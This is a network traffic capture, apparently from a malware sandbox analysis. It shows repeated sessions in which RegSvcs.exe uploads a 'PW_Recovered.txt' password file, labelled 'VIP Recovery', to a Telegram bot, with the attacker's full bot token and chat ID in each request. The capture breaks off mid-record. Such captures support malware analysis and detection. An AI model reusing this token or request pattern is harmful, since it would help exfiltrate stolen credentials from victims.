2024-09-19 10:23:12 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 65 34 33 62 64 62 63 65 38 63 66 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dce43bdbce8cfeContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:23:12 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:23:12 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:23:12 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 38 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12784,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	61598	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:23:15 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dce833a5cad7e1 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:23:15 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 65 38 33 33 61 35 63 61 64 37 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dce833a5cad7e1Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:23:15 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:23:15 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:23:15 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 38 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12785,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	61600	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:23:16 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dce4fe8cefc2ba Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:23:16 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 65 34 66 65 38 63 65 66 63 32 62 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dce4fe8cefc2baContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:23:16 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:23:16 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:23:16 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 38 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12786,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	61602	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:23:19 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dce8b65a0f3d9f Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:23:19 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 65 38 62 36 35 61 30 66 33 64 39 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dce8b65a0f3d9fContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:23:20 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:23:20 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:23:20 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 38 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12787,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	61603	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:23:20 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dce64c0780910e Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:23:20 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 65 36 34 63 30 37 38 30 39 31 30 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dce64c0780910eContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:23:21 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:23:20 GMT Content-Type: application/json Content-Length: 562 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:23:21 UTC	562	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 38 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12788,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	61605	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:23:21 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dceaff00abf50c Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:23:21 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 65 61 66 66 30 30 61 62 66 35 30 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dceaff00abf50cContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:23:21 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:23:21 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:23:21 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 38 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12789,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	61609	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:23:25 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dceba7d0803f2e Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:23:25 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 65 62 61 37 64 30 38 30 33 66 32 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dceba7d0803f2eContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:23:25 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:23:25 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:23:25 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 39 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12790,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	61608	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:23:25 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dce6e7f102d275 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:23:25 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 65 36 65 37 66 31 30 32 64 32 37 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dce6e7f102d275Content-Disposition: form-data; 